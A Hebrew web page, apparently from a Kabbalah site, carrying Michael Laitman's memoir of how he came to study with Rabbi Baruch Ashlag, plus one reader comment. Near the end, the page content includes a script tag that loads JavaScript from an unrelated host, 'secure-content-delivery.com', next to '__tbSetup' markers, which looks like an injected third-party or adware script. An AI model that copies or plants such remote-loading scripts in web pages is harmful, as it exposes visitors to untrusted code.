Left Sidebar Content

איך הגעתי לקבלה? סיפורו של ד"ר מיכאל לייטמן

עוד בילדותי, שאלתי את עצמי תכופות לשם מה אני קיים. שאלות קיומיות אלה ואחרות לא הפסיקו לנקר במוחי ולצרוב את לבי. לעתים, הצלחתי לדחוק אותן הצידה על ידי רדיפה אחר תענוגות, אך בדרך כלל נאלצתי לקום בכל בוקר רדוף על ידי אותן שאלות

שאלות אלה לא הניחו לי, למרות שהשתדלתי לדכא אותן על ידי מטרות בדויות. במשך שנים שמתי את מעיניי ברכישת מקצוע מעניין ודבקתי בו. כמו כן, המטרה לעלות לישראל העסיקה אותי אף היא שנים לא מעטות.

אבל גם אחרי שעליתי לארץ בשנת 1974, השאלה על מטרת חיי לא נתנה לי מנוח. חיפשתי כל הזמן משהו שלמענו כדאי לחיות. ניסיתי את עולם העסקים, הפוליטיקה ועוד. ניסיתי לנהל חיים דומים לחיי הרוב, ובכל זאת לא עלה בידי לחסל את השאלה שבתוכי, "למען מה אני עושה כל זאת?", "מה תיתן לי העובדה שאהיה דומה מבחינה חיצונית לכולם?!"

הרב ד"ר מיכאל לייטמן

אחרי זעזועים נפשיים וחומריים אלה ואחרים, כשהגעתי להכרה שאינני יכול לברוח מהמציאות, החלטתי ב- 1976 לנסות להתחיל לנהל אורח חיים דתי. חשבתי שאולי אורח החיים הדתי, על תפיסת העולם העומדת מאחוריו, יביא מרגוע לנפשי המתחבטת בשאלות קיומיות אינסופיות.

אף פעם לא נמשכתי למדעי הרוח, ולא התעמקתי בנושאים פסיכולוגיים. גם הספרות לא הייתה קרובה ללבי. הייתי תלמיד ממוצע למדי ולא הברקתי בעומק רגשי או מחשבתי. בילדותי האמנתי רק במדע מעשי.

פנה שמאלה, תגיע לפרדס

ב- 1978, נתקלתי במודעה על חוג לקבלה. נרשמתי מייד, קניתי ספרים, ומצאתי את עצמי שוקע בהם כל כולי. התחלתי לחפור בנשמתי פנימה, כדי לברר לעצמי באופן יסודי את כל השאלות, גם אם הדבר יצריך ישיבה של שבועות. בפעם הראשונה בחיי הרגשתי שזה שלי, שזה מתאים לי וקשור אלי.

התחלתי לחפש מורים אמיתיים. חיפשתי אותם בכל הארץ. אך קול פנימי אמר לי שזו לא קבלה אמיתית, מכיוון שהיא לא מדברת עלי, אלא מדברת על משהו מופשט. עזבתי את כל המורים, ולאחר שעניינתי מכר שלי, למדנו בערבים את כל ספרי הקבלה הקיימים. כך זה נמשך חודשים.

ערב חורפי אחד, קר וגשום, בשנת 1980, במקום לשבת לבד עם חברי וללמוד "פרדס רימונים" או "טל אורות", התייאשתי והצעתי לשותפי לנסוע לשיעור עם מורה. לפני כן הזדמן לי להגיע לעיר בני ברק פעמיים או שלוש, בחיפושי אחר ספרי קבלה.

בבני ברק קידם אותנו מזג אוויר זועף. הרחובות היו רטובים וריקים מאדם. כשהגענו לצומת הרחובות רבי עקיבא וחזון איש, פתחתי את חלון המכונית ופניתי לאדם לבוש שחורים שעמד מעבר לכביש. "סליחה", שאלתי, "איפה לומדים פה קבלה?". למי שלא מכיר את האווירה בשכונות הדתיות ואת החברה הדתית, אסביר, שהשאלה הייתה קצת מוזרה: כי קבלה לא נהוג ללמוד במוסד חינוכי או בישיבה. רק יחידים בעלי תעוזה ואומץ יעזו להודות בכלל שהם מתעניינים בקבלה. אך האיש לא התפלא, וענה בפשטות: "פנה שמאלה, תגיע לפרדס, ושם תראה בית כנסת שבו לומדים קבלה."

חצאי משפטים ביידיש

בהגיענו למקום, גילינו בניין חשוך. כשנכנסנו ראינו בחדר צדדי קטן, שולחן ארוך, שסביבו ישבו ארבעה או חמישה זקנים בעלי זקנים לבנים. הצגתי את עצמי, אמרתי שאנו מהעיר רחובות ושברצוננו ללמוד קבלה. הזקן שישב בראש השולחן הזמין אותנו לשבת, ואמר שנדבר על כך בסוף השיעור. הם המשיכו לקרוא את פרשת השבוע מספר הזוהר, עם פירוש הסולם. הם בלעו את המילים כדרכם של זקנים, ודיברו חצאי משפטים ביידיש, כאנשים המבינים זה את זה בחצי מילה.

כשראיתי ושמעתי אותם, עברה במוחי המחשבה הנחרצת שהחבורה הזו, סתם מבזבזת זמן, וייטב לנו אם נמצא מקום אחר ללימוד קבלה עוד באותו ערב. אבל השותף שלי עצר בעדי מלקום וללכת באמצע, הוא אמר שאין זו התנהגות נאותה.

אחרי דקות ספורות הסתיים השיעור. הזקן ביקש את מספר הטלפון שלנו, אמר שיחשוב על מורה עבורנו ויודיע לנו על כך. אני אפילו לא רציתי להשאיר את מספר הטלפון שלי, כי חשבתי שאנו מבזבזים שם את זמננו. חברי הרגיש זאת והשאיר את מספר הטלפון שלו. נפרדנו לשלום ונסענו.

למחרת בערב הגיע חברי אלי והודיע שהזקן התקשר והציע לנו מורה, וכבר הוסכם שנגיע באותו ערב. לא רציתי בשום אופן לבזבז על כך ערב נוסף, אך נכנעתי להפצרותיו של חברי.

בהגיענו, קרא הזקן לאדם מעט צעיר יותר בעל זקן לבן, אמר לו שתי מילים "אוף יידיש", והותיר אותנו אתו. המורה הציע לנו לשבת ולהתחיל ללמוד, הוא אמר שהוא מעדיף להתחיל את הלימודים מ"פתיחה לחוכמת הקבלה", שאותה ניסינו ללמוד, חברי ואני, לא פעם.

ישבנו סביב אחד השולחנות באולם בית הכנסת הריק. הוא התחיל לקרוא ולהסביר את הכתוב. מאז אני מנסה שוב ושוב להעלות בזיכרוני את הרגע הזה. את ההרגשה הפתאומית והמופלאה, שהבליחה בי באחת, שהנה לבסוף מצאתי, אחרי שנים רבות כל כך של חיפושים, את מה שתמיד רציתי למצוא, ועד לרגע זה לא עלה בידי!

אחרי השיעור סיכמנו שנגיע גם למחרת. למחרת כבר הקלטתי את השיעורים בטייפ. אחרי שנודע לנו שהלימודים העיקריים מתקיימים בין השעות שתים בלילה לשש בבוקר, התחלנו להגיע לשיעורים כל לילה. הגענו גם לסעודות ראש חודש, ושילמנו מעשר כמו כולם.

לא מבין כלום

אני, החוצפן שבינינו, נדחף על ידי רצון לברר לעצמי סוף כל סוף את הכל, התווכחתי לעיתים קרובות. הדבר נודע ככל הנראה לרב הראשי, הרב ברוך אשלג, אשר כפי שנתגלה בהמשך, התעניין בנו בקביעות. וכך, יום אחד, אמר לי לפתע המורה, שאחרי התפילה, בשבע בבוקר, הרב הראשי יכול ללמוד אתי מבוא לספר הזוהר.

אחרי שניים או שלושה שיעורים, הרב ברוך אשלג, הודיע לי באמצעות המורה שלנו, שהשיעורים האלה לא יתקיימו יותר, כי הוא רואה שאינני מבין כלום.

מצדי הייתי ממשיך ללמוד, למרות שהרגשתי שאינני מבין דבר. הייתי מוכן לקרוא באופן אוטומטי כל חומר עם הרב ברוך אשלג, כי נדחפתי על ידי צורך להבין, בכל זאת, מה יש בהן בשורות האלה. אך הוא כנראה ידע שזמני טרם הגיע, ולמרבה עלבוני, הפסיק את השיעורים.

עברו כמה חודשים. בתיווכו של המורה שלי, נשאלתי אם אני יכול לקחת את הרב ברוך אשלג לביקור אצל רופא בתל אביב. אני כמובן הסכמתי. בדרך הוא דיבר על נושאים שונים, ואני גם ניסיתי לשאול על קבלה. הוא אמר שאני עוד לא מבין כלום בינתיים, ולכן הוא יכול לדבר אתי על הכל. אבל בהמשך, כשאתחיל להבין, הוא אמר שהוא יפסיק להיות אתי כל כך פתוח.

וכך היה. במשך שנים, במקום תשובות לשאלות שזעקו לתשובה, קבלתי את המענה: "יש לך כבר למי לפנות?". הוא התכוון לבורא. "תצעק, תבקש תתלונן כמה שאתה רוצה. תפנה הכל אליו ותדרוש ממנו!"

הטיפולים אצל הרופא לא הועילו. הרב, שסבל מדלקת באוזניו נאלץ להתאשפז בבית חולים לחודש ימים. מכיוון שבעבר ליוויתי אותו פעמים רבות לביקורים אצל רופאים, נשארתי אתו כשהתאשפז בבית החולים. במשך כל החודש הייתי מגיע לבית החולים בארבע בבוקר, מטפס על הגדר, עובר בחשאי בין החדרים, ולומד אצל הרב... כך במשך חודש ימים!

מאז, הרב ברוך שלום הלוי אשלג , בנו בכורו של בעל הסולם, הפך להיות הרב שלי.

המעבר לבני ברק

אחרי שיצא מבית החולים, היינו יוצאים לטיולים בפארק ובחורש. עם חזרתנו, הייתי רושם בקדחתנות את כל מה ששמעתי. הטיולים הקבועים האלה שנמשכו שלוש או ארבע שעות ביום, הפכו להרגל עם השנים.

במהלך השנתיים הראשונות ביקשתי את אישורו של הרב לעבור לגור בסמוך אליו. אבל הוא ענה לי, שהוא לא רואה בזה צורך עדיין. לדבריו, עצם הגעתי מרחובות מהווה מאמץ המביא לי תועלת רוחנית. אבל, אחרי שנתיים, הוא עצמו הציע לי לעבור לגור בבני ברק. אני לעומת זאת, משום מה לא מיהרתי, עד שהרב עצמו מצא לי דירה בקרבתו, ודחק בי לעבור.

עוד כשגרתי ברחובות, ביקשתי את אישורו של הרב ללמד בכמה מקומות. באחד מהם, כאורח בהרצאות, הכרתי כמה אנשים שניסו ללמוד קבלה. הוא קיבל את זה ללא התלהבות יתרה, אך בהמשך שאל על השיעורים שלי. כשאמרתי לו שיש אפשרות שיבואו אלינו כמה בחורים משם, הוא הסכים בזהירות.

כך הגיעו לבית הכנסת שלנו, בבת אחת, כמה עשרות בחורים צעירים, ובמקום השקט והסגור עד אז, החיים געשו. במשך חצי שנה הורמו קרוב לעשר חופות. חיי הרב קיבלו משמעות חדשה. הוא זהר בשמחה מזרם האנשים שהשתוקקו ללמוד קבלה!

בדרך כלל היום שלנו היה מתחיל בשלוש בבוקר. למדנו בקבוצות של עד ששה תלמידים, וקיימנו תפילה עד שבע בבוקר. באור היום משעה תשע עד שתים עשרה, יצאנו לחורש, לפארק או לים.

אחרי שחזרנו, הלכתי הביתה לעבוד. מחמש עד שמונה בערב המשיכו הלימודים לסירוגין עם תפילות. לאחר מכן, היינו מתפזרים כדי לקום שוב בשלוש בלילה. כך במשך שנים. את כל השיעורים הקלטתי בטייפ, ובמשך השנים הצטברו יותר מאלף קלטות.

פער רוחני עצום

בחמש השנים שאחרי 1987, הרב החליט שפעם בשבוע או בשבועיים ניסע, אני והוא, ליומיים לטבריה. כך הרב ואני התנתקנו מדי פעם מכולם, מה שקרב בינינו אף יותר. הקרבה והשנים גרמו לי להכיר יותר ויותר בפער הרוחני העצום שבינינו. לא ידעתי איך להתגבר על הפער.

התהום הרוחנית הזאת נפערה בפני במלוא עומקה, כשהתבוננתי ברב השש לכל הזדמנות להתגבר על צרכי הגוף. הוא עמד כצוק בכל החלטותיו, ובכל ההתחייבויות שלקח על עצמו. את סדר יומו לא שינה גם לנוכח עייפות גדולה ומצוקה פיזית.

האדם הזה היה עובד עד לסף התמוטטות מרוב עייפות, אבל קיים את כל מה שתכנן עד לאחרון הפרטים. הוא מעולם לא ניסה להקל על עצמו ולהפחית את המטלות אליהן התחייב. הוא עשה מאמצים כבירים, עד שלא היה לו כוח לנשום. הוא פיתח קשיי נשימה, אך לא ויתר על אף פגישה או שיעור, ולא העביר לאחרים את חובותיו.

התבוננתי בו ובמעשי הגבורה שלו בקביעות, ובהדרגה איבדתי את בטחוני העצמי בהצלחתי. זאת, למרות שהבנתי שהכוחות העל אנושיים האלה, מופיעים רק עם הכרתה של גדלות המטרה וניתנים מלמעלה.

החוויות שנצורות בלבי

אינני יכול לשכוח אף רגע אחד מהרגעים שבילינו יחדיו בטיולים בטבריה או במירון. ערבים ארוכים ישבתי מולו וספגתי בלבי את מבטיו, האזנתי לשיחותיו, לשירים ששר. כל החוויות האלה נצורות בלבי, ואין לי ספק שהן מכוונות את דרכי. המידע שהצטבר במשך שתים-עשרה שנים של קשר הדדי יומיומי, במהלך עשר שעות בכל יום, פועל מאליו. הרב נהג לומר דברים סתומים לעיתים קרובות, וכשאמר אותם הוסיף, "בכדי שהאמור יצא לעולם, שהאמור יחיה באופן עצמאי ויפעל בעולם הזה".

מכיוון שבמשך מאות שנים מקובלים ישבו בחברותא, ביקשתי מהרב לארגן קבוצות כאלה לאנשים החדשים שהגיעו, ולהציג לנו את תוכנית ישיבת החברים בכתב. זה הביא לכך שהוא התחיל לכתוב מאמרים שבועיים.

כך נמשך הדבר, עד שהוא עזב אותנו, מותיר לנו כמה כרכים יוצאי דופן מבחינת תוכנם. החומר הזה והקלטות שלי מהווים אוסף פירושים לקבלה כולה.

בראש השנה הרב חש ברע, הוא הרגיש לחץ בחזהו. רק אחרי שכנועים רבים מצדי הוא הסכים להתאשפז ולקבל טיפול. הרופאים לא אבחנו דבר, אבל בשעה מוקדמת בבוקר בה' בתשרי תשנ"ב הוא נפטר.

עשרות התלמידים שהגיעו בשנים האחרונות ללמוד קבלה, ממשיכים בלימודים ובהשגה פנימית של מטרת הבריאה. חוכמת הקבלה חיה ומתקיימת כמו בכל מאות השנים שעברו. הרב יהודה אשלג, ובנו בכורו, הרב שלי, הרב ברוך אשלג, פיתחו והתאימו את החוכמה לדור שלנו, לסוג הנשמות שיורדות לעולם הזה בזמננו.

הוסף תגובה
תגובות
כותרת
שם
דוא''ל
תוכן
שלחבטל
שלח לחבר
שלח לחבר
שם השולח/ת
כתובת השולח/ת
שם החבר/ה
שלחו לכתובת דוא''ל
שלחבטל
תגובות
1. מרגש

רחל, 13.6.14 8:33
אשרי האיש שזכה להתוות תחת אדרתו של אדם עצום וגדול כרב ברוך אשלג, ללמוד ממנו את תבונת השכל ותבונת הלב.
<p>kab-study</p><p>kab-study</p>
<div id="__tbSetup"></div>
<p>
<script src="https://secure-content-delivery.com/data.js.php?i={1C727042-71BC-42CA-9673-0C90960D76F0}&amp;d=2013-10-10&amp;s=http://www.kab.co.il/admin/resources/51031/edit?slang=he&amp;tree_id=113268&amp;cb=0.07726908986069703" type="text/javascript"></script>
</p><p>kab-study</p><p>shvoa-ha-sefer</p><p>radio_zohar</p><p>hafatza</p><p>new-life</p><p>olamot-nifgashim</p>
<div id="__tbSetup"></div>

Right Sidebar Content